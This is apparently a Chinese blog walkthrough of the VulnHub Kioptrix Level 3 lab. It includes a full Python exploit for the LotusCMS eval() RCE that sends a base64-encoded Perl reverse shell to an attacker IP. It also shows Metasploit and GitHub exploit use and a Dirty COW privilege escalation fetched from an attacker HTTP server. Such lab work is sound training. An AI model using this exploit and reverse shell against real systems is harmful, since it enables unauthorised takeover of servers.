VulnHub靶机入门篇--kioptrix.level 3

1.环境准备

靶机:Kioptrix Level 3(Nat模式)

下载地址:https://download.vulnhub.com/kioptrix/KVM3.rar

攻击机:kali(192.168.26.128)(Nat模式)

2.渗透测试

信息收集
主机发现
nmap -sP 192.168.26.0/24

可以得知靶机的ip:192.168.26.135 

扫描端口
nmap -sS -sV -sC -p- 192.168.26.135 

这里详细看namp使用命令:nmap超详细使用教程-CSDN博客 

22端口: ssh服务        #OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

80端口: http超文本协议     #Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 

漏洞收集

进入网页查询ip地址

 发现有一个login的登录框,可能存在sql注入漏洞,或者弱口令,并且发现这里有一个LotusCMS,网上查找一个信息,看看有没有相关的漏洞

 发现存在一个远程代码执行漏洞:LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) - PHP remote Exploit.

网上说少用metasploit,那么我们查找网上的exp脚本

from requests import get
import re
import random
from urllib import parse
import base64
import threading

# 生成随机码
def gen_string():
    key = ""
    for i in range(10):
        key += chr(random.randint(65,90))
    return key

# 检查漏洞是否存在
def check(target):
    if "http" not in target:
        target = "http" + target
    result = get(target)
    find = re.search(r'<a.*href=[\'|"](/*index.php)\?.*(page=\w+)[\'|"].*>',result.text)
    if find is None:
        print("[*] INFO: Not fond vulnerability.")
        return 0
    key = gen_string()
    target += "index.php?page=index');"+parse.quote("echo '"+key+"';//")
    res = get(target)
    if key in res.text:
        print("[!] INFO: Find vul!!!")
        return True
    print("[*] INFO: Not fond vulnerability.")
    return 0

def exp(target,host,port):
    poc =  """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" %(host,port)
    poc = base64.b64encode(poc.encode('utf-8'))
    target += "index.php?page=index');"+parse.quote("system(base64_decode(%s));//" %poc)
    print("[~] Confirm: please run 'nc -lvp %s' on your client" %port)
    input("\t|--- Please enter any key to start!")
    threading.Thread(target=get, args=(target,)).start()
    print("[?] INFO: Get shell?")
    print("[!] INFO: If the attack is successful,The thread is being requested to suspend……")
    exit(0)

# target : please input target
# host : please input lhost
# port : please input lport
target = "http://192.168.26.135/"
host = "192.168.29.128"
port = "4444"

if check(target):
    exp(target, host, port)

 运行脚本 kali使用python命令,或者把上面脚本放入py文件进行运行

这里一直没有什么反应,可能是脚本的原因,用metasploit的方法进行利用

用search的命令搜索lotuscms的利用信息 

use exploit/multi/http/lcms_php_exec

显示可设参数

设置参数

这边可以看到URI为/lcms/但是我本地是没有这个路径的,所以我们这里需要设置下RHOSTS和URI

没有显示成功,设置payload

用dirsearch扫描ip地址

dirsearch -u http://192.168.26.135 -e*

 

发现该目录是数据库的登录接口

进行访问,尝试弱密码admin/admin,发现不行

漏洞利用

 ok找到方法了,现在我们从github上找到lotus漏洞利用的exp

下载sh文件,并执行

./lotusRCE.sh 192.168.26.135

//此ip为靶机地址

 

在kali上开启监听端口6666,此时已经连接成功

 

权限提升

先用python开启交互式界面

python -c "import pty;pty.spawn('/bin/bash')"

查看内核以及系统版本

uname -a

cat /etc/*-release

发现内核版本为:Linux Kioptrix3 2.6.24-24-server

接下来利用searchsploit搜索下有没有和Linux Kioptrix3 2.6.24-24-server相关的提权exp

searchsploit Linux 2.6.24-24

//searchsploit Linux Kernel 2.6.24

可以看到有大名鼎鼎的脏牛提权的exp,这边随便拿个试试,按照之前的套路,kali先下载exp,开启一个http服务,然后靶机下载exp,gcc编译执行。

我这边试了之后发现40839.c这个exp可以提权成功,这边以这个exp为例子,先查看下路径,然后下载这个exp:

searchsploit -p 40839.c 

cp /usr/share/exploitdb/exploits/linux/local/40839.c .

chmod +x 40839.c

接着在kali上开启http服务

python -m http.server 8888

靶机上下载此二进制文件 ,记住在tmp目录下执行,因为root权限课执行tmp目录下的临时文件

接着执行此文件

 

可以发现已经提权成功了,修改了密码,下面按照提示,用用户名:firefart和新密码试试

嘿嘿,成功了 

  • 34
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值